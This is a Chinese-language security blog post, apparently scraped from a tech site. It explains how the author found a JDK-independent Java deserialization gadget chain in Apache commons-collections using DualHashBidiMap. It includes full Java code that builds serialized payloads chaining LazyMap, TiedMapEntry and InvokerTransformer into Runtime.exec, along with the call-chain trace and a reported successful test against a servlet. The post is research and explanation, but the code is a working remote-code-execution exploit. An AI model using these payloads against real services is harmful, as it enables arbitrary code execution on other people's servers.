java反序列化利用工具香草,Java反序列化之与JDK版本无关的利用链挖掘

//使用ChainedTransformer组合利用链Transformer transformerChain = newChainedTransformer(transformers);

MaplazyMap = LazyMap.decorate( newHashMap, transformerChain);TiedMapEntry entry = newTiedMapEntry(lazyMap, "haha");

BadAttributeValueExpException payload_exception = newBadAttributeValueExpException( null);Field valField = payload_exception.getClass.getDeclaredField( "val");valField.setAccessible( true);valField.set(payload_exception, entry);MySerializeUtil.serializeToFile(payload_exception, "CommonsCollections1Test2.ser");}

新利用链挖掘

与其说是新利用链的挖掘,不如说新的触发点的寻找,上面两个利用链的漏洞触发类分别是JDK中的AnnotationInvocationHandler和BadAttributeValueExpException,在分析完上面两中利用链流程后,为了检验自己的认识水平,就想尝试自己寻找一个触发点。

寻找触发点唯一原则就是寻找一个实现了readObject函数的类,并且在readObject函数中执行了一定的操作。按照这个思路,先在idea中全局搜索readObject函数

7e94ec7424d947ecaacda30262a96ac3.png

本来我只想找个触发点,并没想一定找个与JDK无关的,我先在依赖库中查找(如果找不到再到JDK中找),简单的过一遍找到的readObject函数,当看到org.apache.commons.collections.bidimap.DualHashBidiMap的readObject函数时,感觉有可能达到触发利用链效果,代码如下

30d31d63c0a9358f4606653a9ff634b2.png

readObject中有多余的操作putAll(map)其代码如下

994a962f3cbc4c21091d6a2b34241ff5.png

这里我们看到map进行了get(key)和get(value)操作。如果你之前分析过LazyMap的触发流程,我们就知道LazyMap.get(key)函数会触发ChainedTransformer和InvokerTransformer这个执行链,最后达到任意代码执行,LazyMap.get(key)代码如下。

8de9846f41178a086b3000eac2b87bc1.png

看到这里,就感觉DualHashBidiMap类有戏,很有可能触发漏洞。于是简单的分析下该类的结构。

c970263c74aa5c650a0d2fd9ebb376d5.png

writeObject函数实现了了将maps[0]序列化,与readObject中的Map map = (Map) in.readObject;刚好对应,剩下的就是如何控制maps[0]的值,

publicabstractclassAbstractDualBidiMapimplementsBidiMap{protectedtransientfinalMap[] maps = newMap[ 2];...protectedAbstractDualBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap){super;maps[ 0] = normalMap;maps[ 1] = reverseMap;this.inverseBidiMap = inverseBidiMap;}...}

分析可知DualHashBidiMap的父类AbstractDualBidiMap中定义了maps变量,并且调用函数AbstractDualBidiMap进行赋值。所有我们可以通过

protected DualHashBidiMap( MapnormalMap, MapreverseMap, BidiMap inverseBidiMap) {super(normalMap, reverseMap, inverseBidiMap);}

函数对maps进行赋值。

由与该函数是protected类型,所以需要使用反射机制。编写测试代码

public staticvoidgeneratePayload3 throws Exception {Transformer[] transformers = newTransformer[] {newConstantTransformer(Runtime.class),newInvokerTransformer( "getMethod", newClass[] { String.class, Class[].class }, newObject[] { "getRuntime", newClass[ 0] }),newInvokerTransformer( "invoke", newClass[] { Object.class, Object[].class }, newObject[] { null, newObject[ 0] }),newInvokerTransformer( "exec", newClass[] { String.class }, newObject[] { "calc"}) };//使用ChainedTransformer组合利用链Transformer transformerChain = newChainedTransformer(transformers);MaplazyMap = LazyMap.decorate( newHashMap, transformerChain);TiedMapEntry entry = newTiedMapEntry(lazyMap, "haha");Map< String, Object> payload_map = newHashMap< String, Object>;payload_map.put( "test", entry);Class cls = Class.forName( "org.apache.commons.collections.bidimap.DualHashBidiMap");Constructor m_ctor = cls.getDeclaredConstructor( Map.class, Map.class, BidiMap.class);m_ctor.setAccessible( true);Objectpayload_instance = m_ctor.newInstance(payload_map, null, null);

FileOutputStream fileOutputStream = newFileOutputStream( "payload_dualHashBidMap1.ser");ObjectOutputStream outputStream = newObjectOutputStream(fileOutputStream);outputStream.writeObject(payload_instance);outputStream.close;}

编写简单的Servlet进行测试

d438112d551d899296e0cb312d1f781f.png

使用burpsuit发送,成功弹出计算器。

6e2586d0edbc271caea06e64800f01ff.png

跟踪调试

程序执行到putAll(map),此时map的值已经是我们构造的HashMap,并有value值LazyMap。

8d5bde337b131308c61a654e92a14710.png

单步执行,观察变量的变化,程序执行玩maps[1].containsKey(value)之后弹出了计算器,与我们预测的有点不一样。重新运行程序,跟进containsKey(value)观察原因。

HaskMap的containsKey函数如下,

publicbooleancontainsKey( Objectkey) {returngetNode(hash(key), key) != null;}

其中hash(key)代码如下:

bb4fde5bc018eb1a5b412dd6c879107e.png

此时执行key.hashcode,即执行TiedMapEntry.hashCode

d77419547db55e2661cca2bd9502baa5.png

fc088f1cfaea26d68114667a1a6cea1b.png

947c39c404cb2c955270809bbcc06327.png

最后执行InvokerTransformer链,虽然与开始预测的有点不一样,但最终从另外一条路触发了关键函数。

整个漏洞触发的过程如下:

DualHashBidiMap->readObject

DualHashBidiMap->putAll

DualHashBidiMap->put

HashMap->containsKey

HashMap->hash

TiedMapEntry->hashCode

TiedMapEntry->getValue

LazyMap->get

ChainedTransformer->transform

InvokerTransformer->transform

由于整个过程触发readObject的类是在commons-collections库中的,后面执行代码的利用链也是在commons-collections中,所有整个利用链与jdk版本无关,只与commons-collections版本有关。

结束

在全局搜索readObject时,发现commons-collections中还有个类DualTreeBidiMap,和我们这里使用的DualHashBidiMap类几乎一样,猜测也能达到该效果,有兴趣的可以试下。返回搜狐,查看更多

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值